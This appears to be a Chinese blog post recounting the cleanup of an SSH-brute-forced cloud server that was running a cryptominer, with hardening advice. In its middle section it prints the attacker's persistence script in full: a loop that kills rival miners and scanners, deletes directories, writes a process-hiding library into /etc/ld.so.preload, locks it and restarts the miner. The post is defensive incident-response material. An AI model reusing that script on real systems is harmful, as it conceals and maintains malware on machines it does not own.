拍着玩-一次服务器被入侵的处理过程分享

近期有一个朋友的服务器(自己做了网站)好像遭遇了入侵，具体现象是：服务器 CPU 资源长期 100%，负载较高。服务器上面的服务不能正常提供服务。

朋友处理了一会没有解决，我开始想说我不是搞安全的，我怎么会，但朋友开出了天价，一顿海底捞，我在生活和现实面前低头了。开始上手看看了。

二、服务器排查和处理

2.1、服务器被入侵的可能原因

服务器 ssh 密码设置得很简单。

腾讯云安全组范围放得很大。

使用了宝塔，宝塔面板的密码也是很简单的密码(应该不是这个入侵入口)。

2.2、排查和处理步骤

ps -ef / top 找出占用进程最大的服务

问题现象

ps/top 命令已经被替换了。

image-20220828214803421

查找详细的入侵痕迹 last 或者 grep 'Accepted' /var/log/secure。

问题现象

root@VM-12-12-centos ~# grep 'Accepted' /var/log/secure

Aug 26 21:51:37 VM-12-12-centos sshd19822: Accepted password for root from 34.215.138.2 port 36720 ssh2

Aug 27 08:52:05 VM-12-12-centos sshd3053: Accepted password for root from 127.0.0.1 port 57534 ssh2

Aug 27 08:58:50 VM-12-12-centos sshd7038: Accepted password for root from 127.0.0.1 port 57548 ssh2

Aug 27 09:10:02 VM-12-12-centos sshd14830: Accepted publickey for lighthouse from 106.55.203.49 port 44204 ssh2: RSA SHA256:123456/UIbl8

Aug 27 09:10:03 VM-12-12-centos sshd14913: Accepted publickey for lighthouse from 81.69.102.49 port 60820 ssh2: RSA SHA256:123456/UIbl8

Aug 27 09:14:08 VM-12-12-centos sshd17307: Accepted password for root from 127.0.0.1 port 57690 ssh2

Aug 27 09:34:22 VM-12-12-centos sshd29150: Accepted publickey for lighthouse from 106.55.203.55 port 38044 ssh2: RSA SHA256:123456/UIbl8

Aug 27 09:34:23 VM-12-12-centos sshd29233: Accepted publickey for lighthouse from 81.69.102.60 port 51190 ssh2: RSA SHA256:123456/UIbl8

lighthouse 腾讯云轻量服务器

我们在这里就可以看到，有一些境外IP 34.215.138.2成功登录了，这些 IP不是我们的正常登录。在 /var/log/secure 日志里，我看到了 IP 34.215.138.2 尝试登录不到500次就已经破解成功了。

处理措施

这里我们立马采取了第一个措施，

在腾讯云安全组限制了 SSH 的登录IP，之前的安全组 SSH 是放行所有IP。

将 SSH ROOT 密码修改。

/root/.ssh/authorized_keys 备份，并清空。

root@VM-12-12-centos ~# cp -rp /root/.ssh/authorized_keys /root/.ssh/authorized_keys.bak

cp: cannot create regular file ‘/root/.ssh/authorized_keys.bak’: Permission denied

这时我们就遇到了权限的问题，这个晚点展开讲，因为我们已经限制了源IP，所以这个我们可以晚点来处理。

查看最近新增的一些用户

问题现象

cat /etc/passwd

image-20220828215227190

处理措施

锁定用户

root@VM-12-12-centos ~# usermod -L sys1

我这里不计划去找进程（已经在新建一台版本一致的系统，来拷贝 top 和 ps 命令，需要一小会，我们趁这个时间，先看看其他），因为之前朋友重启过服务器，发现服务器启动过一会才会负载较高。我认为入侵者应该放了一些定时任务和启动脚本里面。

问题现象

定时任务

crond 读取配置文件会从以下几个路径读取：

/var/spool/cron/ , 由crontab -e 进行写入，配置文件无需指定用户

/etc/crontab ，只能root 进行编辑，配置文件需指定用户

/etc/cron.d/ ,在此文件夹下创建定时任务文件，配置文件需指定用户

/etc/cron.*

/var/spool/cron/ 未找到(后面会说到这里有障眼法)

image-20220828222049731

/etc/crontab 未找到(后面会说到这里有障眼法)

但是我在 /var/log/cron 一直看到有任务执行。每间隔5分钟。

Aug 27 22:00:01 VM-12-12-centos CROND16839: (root) CMD (/sbin/httpss >/dev/null 2>&1;^M )

Aug 27 22:00:01 VM-12-12-centos CROND16840: (root) CMD (/usr/local/qcloud/YunJing/YDCrontab.sh > /dev/null 2>&1)

Aug 27 22:00:01 VM-12-12-centos CROND16842: (root) CMD (/usr/lib/mysql/mysql;^Mno crontab for root )

Aug 27 22:05:01 VM-12-12-centos CROND17486: (root) CMD (/usr/lib/mysql/mysql;^Mno crontab for root )

Aug 27 22:05:01 VM-12-12-centos CROND17487: (root) CMD (/sbin/httpss >/dev/null 2>&1;^M )

处理措施

这里我们先做的操作就是，先把 /usr/lib/mysql/mysql 和 /sbin/httpss 给删除。删除的时候还是提示没有权限。我们知道这些文件应该是加琐了，所以我开始解锁，我们发现 chattr 也被替换和锁住了。所以不能操作下去了。

开机启动脚本

/etc/rc.local，我们也发现了一个脚本。

root@VM-12-12-centos ~# cat /etc/rc.local

#!/bin/bash

THIS FILE IS ADDED FOR COMPATIBILITY PURPOSES

It is highly advisable to create own systemd services or udev rules

to run scripts during boot instead of using this file.

In contrast to previous versions due to parallel execution during boot

this script will NOT be run after all other services.

Please note that you must run 'chmod +x /etc/rc.d/rc.local' to ensure

that this script will be executed during boot.

/usr/bin/0f4f80f9ab start

但是这个文件好像不存在的，我们就把这个给注释了。

还原更改了 top、ps、chattr、lsattr.

首先我们从相同版本的机器拷贝了 chattr、lsattr，我们得先操作这个，因为我们的 top 和 ps 都被锁住了。

我将文件上传至 /tmp 目录，然后增加可执行权限，然后先给 /usr/bin/chattr 解除锁定。

/tmp/chattr -ai /usr/bin/chattr

执行完之后，发现还是不能替换 /usr/bin/chattr。最后耗费了一段时间才反应到，入侵者可能不仅仅加锁了文件还加锁了 /usr/bin/。

解锁目录

/tmp/chattr -ai /usr/bin/

这下才能把 /usr/bin/chattr 给替换掉。

接下来参考这些，我们把 top 和 ps 、lsattr 给还原了。

部分截图

image-20220829210350118

三、本次入侵需要带来启示的点

ps 、top 、chattr 、lsattr

在这些命令被替换了，并且我们想还原又还原不了的场景，我们可以拷贝同版本的机器相同的命令放在其它目录，用这些命令来解除入侵者将它已经替换并锁定了文件。注意有些入侵者不仅会在文件层面加锁，还会在当前的文件的目录这一层加锁。我之前在这个上面困惑了一段时间。

文件内容隐藏

上文中，我执行 crontab -l 和 cat 查看 /etc/cron.d/ 下面的文件。发现文件没有内容。

其实不知道使用了什么特殊字符还是什么隐藏了，其实是存在定时任务的。

示例：

image-20220829213740671

image-20220829213749837

image-20220829213824367

这个配置是如何导致 cat/more 看不了的, 今天再次看了下，这个文件可能是被当成了数据文件，因为我把这个文件 file 查看了之后，文件属性是data. 然后文件包含的特殊字符。导致隐藏了，我在这里服务器入侵之找出隐藏字符的原理把这个来龙去脉给讲清楚了。

其中一个脚本。

root@VM-12-12-centos etc# cat /.Recycle_bin/_bt_etc_bt_.sftp_bt_.sh_t_1661768469.9859464

#!/bin/sh

while test 1 = 1

sleep 30

pkill -f main

killall main

killall sprshduerjsaia

pkill -f sprshduerjsaia

killall dr64

pkill -f dr64

killall .report_system

pkill -f .report_system

killall sshc

pkill -f sshc

pkill -f memory

killall memory

killall warmup

killall koko

killall kthreaddk

killall systemc

killall cront

killall xm64_linux

killall /var/tmp/j/./intelshell

pkill -f dos32

pkill -f dos64

pkill -f .name

pkill -f /usr/sbin/dbus

pkill -f systemd-boot-check-no-failures

killall .report_system

pkill -f .report_system

pkill -f keep-alive

pkill -f linu

pkill -f zapppp

killall scan

killall ext4

pkill -f xm64_linux

pkill -f ddrirc

killall ./-bash

pkill -f ./-bash

killall kworkers

killall dbus

pkill -f biden1

pkill -f cpuminer-sse2

killall work64

pkill -f work64

killall work32

pkill -f work32

killall aarch12

pkill -f aarch12

killall bash1

pkill -f bash1

killall intelshell

pkill -f intelshell

killall heaven

pkill -f heaven

killall .syst3md

pkill -f .syst3md

pkill -f apachelogs

killall .meinkampf

pkill -f .meinkampf

killall xri

pkill -f xri

killall koko

pkill -f koko

killall work32-deamon

pkill -f work32-deamon

killall work64 -deamon

pkill -f work64 -deamon

killall secure.sh

pkill -f secure.sh

kkillall auth.sh

pkill -f auth.sh

killall autoupdate

pkill -f kworkers

pkill -f autoupdate

killall ld-linux

pkill -f ld-linux

pkill -9 Donald

killall -9 Donald

pkill -f /usr/local/bin/pnscan

pkill -f /usr/bin/biden1

killall /usr/bin/biden1

killall r

killall trace

pkill -f minerd

killall minerd

pkill -f xm64

killall xm64

pkill -f sysdm

killall sysdm

pkill -f syst3md

killall syst3md

pkill -f xrig

killall xrig

pkill -f busybox

killall busybox

pkill -f joseph

killall joseph

pkill -f osama

killall osama

killall daemon

pkill -f obama1

killall obama1

pkill -f kswapd0

killall kswapd0

pkill -f jehgms

killall jehgms

pkill -f tsm

killall tsm

pkill -f rig

killall rig

pkill -f xmr

killall xmr

pkill -f playstation

killall playstation

pkill -f ld-linux-x86-64

killall ld-linux-x86-64

pkill -f ruckusapd

killall ruckusapd

pkill -f run64

killall run64

pkill -f pwnrig

killall pwnrig

pkill -f phpupdate

killall phpupdate

pkill -f sysupdate

killall sysupdate

pkill -f phpguard

killall phpguard

pkill -f firstpress

killall firstpress

pkill -f zerocert

killall zerocert

pkill -f masscan

killall masscan

pkill -f -bash

pkill -f spreadQlmnop

killall spreadQlmnop

killall -bash

pkill -f cnrig

killall cnrig

pkill -f netvhost

killall netvhost

pkill -f kthreadds

killall kthreadds

pkill -f kthreadd

killall kthreadd

pkill -f kdevtmpfsi

killall kdevtmpfsi

pkill -f linuxservice

killall linuxservice

pkill -f rtmonitor

killall rtmonitor

pkill -f dev

killall dev

pkill -f xmrig

killall xmrig

pkill -f master

killall master

killall sysmd

pkill -f sysmd

pkill -f sendmail

killall sendmail

pkill -f ld-musl-x86_64.

killall ld-musl-x86_64.

killall watchdog

pkill -f watchdog

pkill -f 32678

killall 32678

killall dhpcd

pkill -f dhpcd

killall linux_amd64

pkill -f linux_amd64

killall xredis

pkill -f xredis

killall Linux2.6

killall .chornyd

pkill -f .chornyd

killall Opera

pkill -f Opera

killall libertyd

pkill -f libertyd

killall rcubind

pkill -f rcubind

killall clamscan

pkill -f clamscan

killall pnscan

pkill -f pnscan

killall zzh

pkill -f zzh

killall bioser

pkill -f bioser

rm -rf /root/.configrc/

rm -rf /tmp/.X26-unix/

rm -rf /tmp/.bash/

rm -rf /root/.bash/

rm -rf /root/.cache/

rm -rf /tmp/.cache/

rm -rf /dev/shm/.ssh/

rm -rf /etc/.etcservice/linuxservice

rm -rf /etc/.vhost/netvhost

rm -rf /tmp/up.txt

rm -rf /var/tmp/.update/

rm -rf /var/tmp/.systemd/

rm -rf /usr/sbin/.bash./.bash/

rm -rf /etc/master

rm -rf /usr/bin/busybox

rm -rf /bin/sysmd

rm -rf /tmp/.mx/

rm -rf /dev/shm/.mx/

rm -rf /usr/bin/xrig

rm -rf /etc/32678

rm -rf /root/c3pool/

rm -rf /usr/bin/.sshd/

rm -rf /tmp/div

systemctl stop c3pool_miner.service

systemctl stop pwnriglhttps.service

systemctl stop cryto

systemctl stop scan

systemctl stop bot

systemctl stop myservice.service

systemctl stop netns.service

systemctl stop cryptsetup.service

echo /usr/local/lib/libprocesshider.so > /etc/ld.so.preload

lockr +ai /etc/ld.so.preload >/dev/null 2>&1

chmod 777 /usr/lib/mysql/*

/usr/lib/mysql/./mysql

done

我们可以看到这个脚本其实一直在更改 /etc/ld.so.preload 的内容。并且在关闭一些扫描软件和系统的服务。

在 Linux 操作系统的动态链接库加载过程中，动态链接器会读取 LD_PRELOAD 环境变量的值和默认配置文件 /etc/ld.so.preload 的文件内容，并将读取到的动态链接库进行预加载，即使程序不依赖这些动态链接库，LD_PRELOAD 环境变量和 /etc/ld.so.preload 配置文件中指定的动态链接库依然会被装载，它们的优先级比 LD_LIBRARY_PATH 环境变量所定义的链接库查找路径的文件优先级要高，所以能够提前于用户调用的动态库载入。

——段落引自《警惕利用 Linux 预加载型恶意动态链接库的后门》

我已经删除了 /usr/local/lib/libprocesshider.so 文件，之后每次执行命令会有这个报错。

image-20220829214645313

我在清空文件 /etc/ld.so.preload 之后，我发现好了一会后，还是出现这个，我再看 /etc/ld.so.preload 文件，里面又写了 /usr/local/lib/libprocesshider.so ，我怀疑还有定时任务，但是我找了一会定时任务，还是没有找到。后面在查看异常进程的时候，我看到了这个进程

image-20220829215157704

image-20220829215209301

发现这个脚本的就是一直在循环执行上面内容。将这个进程 kill 后，然后删除脚本。

四、本次服务器被入侵的一些启示

用好云厂家的安全组。对一些关键端口，放行规则尽量最小/

服务器相关的一些密码尽量增加复杂性。

增加对一些关键文件的监控. (通过监控软件监控 md5值)

/etc/passwd

/etc/shadow

/etc/group

/root/.bash_history

/root/.ssh/authorized_keys

/etc/ssh/sshd_config

/etc/profile

/var/spool/cron/root

/etc/crontab

/etc/ld.so.preload

/etc/rc.local

lsof

netstat

top

pstree

last

history

sudo

password

chattr

lsattr

服务器入侵之后，我们需要怎么处理才是最好的。

https://cloud.tencent.com/document/product/296/9604

https://help.aliyun.com/document_detail/40994.htm?spm=a2c4g.11186623.0.0.75c56956NVPBST

服务器如果有开放SSH 远程登录，可以设置限制登录(安全组、或者服务)，只放行自己的IP. 查找详细的入侵痕迹 last 或者 grep 'Accepted' /var/log/secure

/root/.ssh/authorized_keys /etc/passwd 这些文件也可以看下。将一些新建的用户锁定。

服务器如果可以关闭外网，就关闭外网。在安全组层面设置下，或者路由或者NAT。

首先看下 ps/top 命令有没有被篡改，如果有的话，从其他正常的机器上拷贝至服务器上。然后执行查看异常进程。也要查询下 /etc/ld.so.preload 是否有被篡改。如果有的的话，记得清空里面的内容，然后将对应的文件删除或者重命名。

如果使用过程中遇到了文件不可删，不可改的问题，需要使用 chattr -ia 文件名如果 chattr 也被串改，那就需要从别的机器拷贝。然后复原。

如果上述没有找到，可以通过 netstat 间接查看异常的连接从而查询异常进程。

检查开机启动和 crontab 相关的内容。

检查异常进程。

以上就是这次入侵的处理过程和得到的一些小启示，后续有了解新的会继续补充。

20200906 增加更新内容

cat 查看内容为什么被隐藏了，我在这里服务器入侵之找出隐藏字符的原理把这个来龙去脉给讲清楚了。